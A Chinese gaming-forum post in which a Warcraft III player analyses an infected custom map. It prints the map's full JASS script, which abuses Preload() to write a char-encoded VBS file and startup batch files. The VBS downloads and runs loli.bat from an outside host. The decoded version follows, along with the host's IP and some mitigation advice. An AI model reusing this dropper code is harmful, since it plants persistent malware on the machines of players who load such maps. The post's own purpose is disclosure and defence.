本帖最后由 winways 于 2016-11-7 13:13 编辑
对于War3,我只是个普通玩家,发到TGP论坛没人审核,哎
1.基本情况:
最近在平台上玩,一开始并没有注意,但是有天开机启动时发现有一个loli.exe的进程出现在了Administrator用户名下,文件位置在%temp%中,指向一个@~XXX.tmp的临时文件,然后会出现cmd.exe的进程,稍微熟悉电脑使用的玩家应该都知道,%temp%就是temp文件夹,cmd.exe就是批处理程序,它可以执行有关系统的任何操作,如果它自动启动了就说明问题很严重,我马上就关掉了,并不知道运行到最后会有什么情况,一开始用Tensafe杀了下C盘和移动盘,但是无用
2.追踪过程:
因为这个loli.exe最近几天开机反复出现,我在system32、%appdata%、%temp%删了不少自觉可疑的文件,一开始似乎有效,但是又在平台上玩了几天,这个东西又出现了,今天在平台上建了一张图,
秩序之战2.1新的世界.w3x
和我同学一起玩,但是一个奇怪的事情发生了,我同学也有这张图,因为我俩是魔兽文件都是一样的,但是不论他进我的房间,还是我进他的房间都需要重新读图,这TM明明就有图啊,我使用War3Map Extractor把里面的脚本文件war3map.j解压出来看了一下,果然发现了猫腻,
完整代码如下,- call PreloadGenClear()
- call PreloadGenStart()
- call Preload("
- echo off
- del "c:/loli.vbs"
- cls
- set /p=data=^"83,101,116,32,80,111,115,116,32,61,32,67,114,101,97,116,101,79,98,106,101,99,116,40,34,77,115,120,109,108,50,46,83,101,114,118,101,114,88,77,76,72,84,84,80,46,51,46,48,34,41,13,10,<nul>>c:/loli.vbs
- 2>nul ")
- call Preload(" "2>nul
- set /p=83,101,116,32,83,104,101,108,108,32,61,32,67,114,101,97,116,101,79,98,106,101,99,116,40,34,87,115,99,114,105,112,116,46,83,104,101,108,108,34,41,13,10,80,111,115,116,46,79,112,101,110,32,34,71,69,84,34,44,34,104,116,<nul>>c:/loli.vbs
- 2>nul ")
- call Preload(" "2>nul
- set /p= 116,112,58,47,47,119,119,119,46,108,111,120,118,101,46,99,111,109,47,108,111,108,105,46,98,97,116,34,44,48,13,10,80,111,115,116,46,83,101,110,100,40,41,13,10,83,101,116,32,97,71,101,116,32,61,32,67,114,101,97,116,101<nul>>c:/loli.vbs
- 2>nul ")
- call Preload(" "2>nul
- set /p= ,79,98,106,101,99,116,40,34,65,68,79,68,66,46,83,116,114,101,97,109,34,41,13,10,97,71,101,116,46,77,111,100,101,32,61,32,51,13,10,97,71,101,116,46,84,121,112,101,32,61,32,49,13,10,97,71,101,116,46,79,112,101,110,40,<nul>>c:/loli.vbs
- 2>nul ")
- call Preload(" "2>nul
- set /p=41,32,13,10,97,71,101,116,46,87,114,105,116,101,40,80,111,115,116,46,114,101,115,112,111,110,115,101,66,111,100,121,41,13,10,97,71,101,116,46,83,97,118,101,84,111,70,105,108,101,32,34,99,58,92,108,111,108,105,46,98,<nul>>c:/loli.vbs
- 2>nul ")
- call Preload(" "2>nul
- >>c:/loli.vbs echo 97,116,34,44,50,13,10,119,115,99,114,105,112,116,46,115,108,101,101,112,32,49,48,48,48,32,13,10,83,104,101,108,108,46,82,117,110,32,40,34,99,58,92,108,111,108,105,46,98,97,116,34,41"
- echo Function ChrData(Data)>>c:/loli.vbs
- 2>nul ")
- call Preload(" "2>nul
- >>c:/loli.vbs echo MyArray = Split(Data, ",", -1, 1)
- >>c:/loli.vbs echo For each OldData in MyArray
- >>c:/loli.vbs echo Newdata=NewData^&chr(OldData)
- >>c:/loli.vbs echo Next
- >>c:/loli.vbs echo ChrData=NewData
- 2>nul ")
- call Preload(" "2>nul
- >>c:/loli.vbs echo End Function
- >>c:/loli.vbs echo wscript.sleep 30000
- >>c:/loli.vbs echo execute Chrdata(data)
- start c:/loli.vbs
- exit
- ")
- call PreloadGenEnd("C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\loli.bat")
- call PreloadGenEnd("C:\\Users\\All Users\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\loli.bat")
- call PreloadGenEnd("C:\\Documents and Settings\\Administrator\\「开始」菜单\\程序\\启动\\Loli.bat")
- endfunction
复制代码 使用VB的转码函数chr()转码之后的代码,- call PreloadGenClear()
- call PreloadGenStart()
- call Preload("
- echo off
- del "c:/loli.vbs"
- cls
- set /p=data=^"Set Post = CreateObject("Msxml2.ServerXMLHTTP.3.0")
- <nul>>c:/loli.vbs
- 2>nul ")
- call Preload(" "2>nul
- set /p=Set Shell = CreateObject("Wscript.Shell")
- Post.Open "GET","ht<nul>>c:/loli.vbs
- 2>nul ")
- call Preload(" "2>nul
- set /p= tp://www.loxve.com/loli.bat",0
- Post.Send()
- Set aGet = Create<nul>>c:/loli.vbs
- 2>nul ")
- call Preload(" "2>nul
- set /p= Object("ADODB.Stream")
- aGet.Mode = 3
- aGet.Type = 1
- aGet.Open(<nul>>c:/loli.vbs
- 2>nul ")
- call Preload(" "2>nul
- set /p=)
- aGet.Write(Post.responseBody)
- aGet.SaveToFile "c:\loli.b<nul>>c:/loli.vbs
- 2>nul ")
- call Preload(" "2>nul
- >>c:/loli.vbs echo at",2
- wscript.sleep 1000
- Shell.Run ("c:\loli.bat")"
- echo Function ChrData(Data)>>c:/loli.vbs
- 2>nul ")
- call Preload(" "2>nul
- >>c:/loli.vbs echo MyArray = Split(Data "" -1 1)
- >>c:/loli.vbs echo For each OldData in MyArray
- >>c:/loli.vbs echo Newdata=NewData^&chr(OldData)
- >>c:/loli.vbs echo Next
- >>c:/loli.vbs echo ChrData=NewData
- 2>nul ")
- call Preload(" "2>nul
- >>c:/loli.vbs echo End Function
- >>c:/loli.vbs echo wscript.sleep 30000
- >>c:/loli.vbs echo execute Chrdata(data)
- start c:/loli.vbs
- exit
- ")
- call PreloadGenEnd("C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\loli.bat")
- call PreloadGenEnd("C:\\Users\\All Users\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\loli.bat")
- call PreloadGenEnd("C:\\Documents and Settings\\Administrator\\「开始」菜单\\程序\\启动\\Loli.bat")
- endfunction
复制代码 不需要你们都看懂,但是有一个网址www.loxve.com/loli.bat,指向IP地址: 103.224.22.36香港特别行政区,这个就是病毒程序,我打开过,不是脚本语言写的,我也没有专业的Decompile环境,没更进一步,而且人家服务器根本就不架网站,只能通过ftp访问下载这个病毒程序,想黑掉它也很难,大神除外
3.病毒分析
今天在Google上查了一下war3的Jass虚拟机漏洞,先解释下Jass虚拟机,因为玩家每次玩的地图的内容千变万化,如果是一个固定的游戏程序来跑,那显然是不可能的,所以为了适应不同的游戏内容,就需要程序在Runtime中拥有解释执行的能力,这样就必须借助脚本语言,举个栗子,同一个筐子可以今天放鸡蛋,明天放白菜,也可以白菜鸡蛋一起放,war3的主体程序就是干这个的,除了读取地图文件外,还要能保证每次读取的内容不同,所以,脚本语言想运行就需要这种环境,也就是虚拟机,它主要作用就是转码,将解释执行的脚本代码转换给操作系统的底层API来执行产生最终的效果,类似的LUA,Javascript都这样
但现在被发现了这个严重的漏洞,实际上只是几个函数,只是这几个函数可以越级生成只有特有程序才能生成的Vbs脚本文件,并提供操作系统调用,简而言之,就拿这个病毒来说,就是在你读别人的地图的时候,Preload()函数会自动给你生成带毒的Vbs脚本文件loli.vbs,然后生成一个loli.bat放到启动目录下,让它开机自动运行调用Wscript.exe(只所以标记红色,是因为我个人觉得微软这个东西的设计实在是太SB,该类型的病毒比率高达11%也就说明问题了),然后再从网上进一步加载毒性更强的其他程序,完成了从传播到本地隐藏再到通向互联网的三部曲,感染后会生成更多带毒地图进行本地扩散
当然这个漏洞在网上已经被公开了,只是现在才开始大规模扩散而已,具体的请看https://www.seebug.org/vuldb/ssvid-12019
4.防范措施
就我个人而言,除了养成每次开机手动检查任务管理器之外,似乎没有什么更好的办法,杀毒软件是几乎不可能找到该病毒的本体文件,因为w3x、w3m这样的文件结构都是经过了严密的封装,解压器都是大神做的,而且我有500多张地图,不可能每次都手动查一遍,何况我每天还要从网上下载新的地图,不懂电脑的就换系统吧,而且一定要删掉这些地图或整个war3,并谨慎下载别人的同名地图,一般情况下带毒的图会比其他的同名图大1KB
该病毒的隐藏性、传播性、危害性都是十分惊人的,如果一个病没有药可以治,那该怎么办,在此请腾讯大大针对此类型的病毒做一些示范,还我们一片干净的游戏空间
PS:这个病毒并不难反,每次开游戏Tensafe扫描一遍地图的war3map.j是否包含病毒代码即可,我自己正在找解压器的dll
|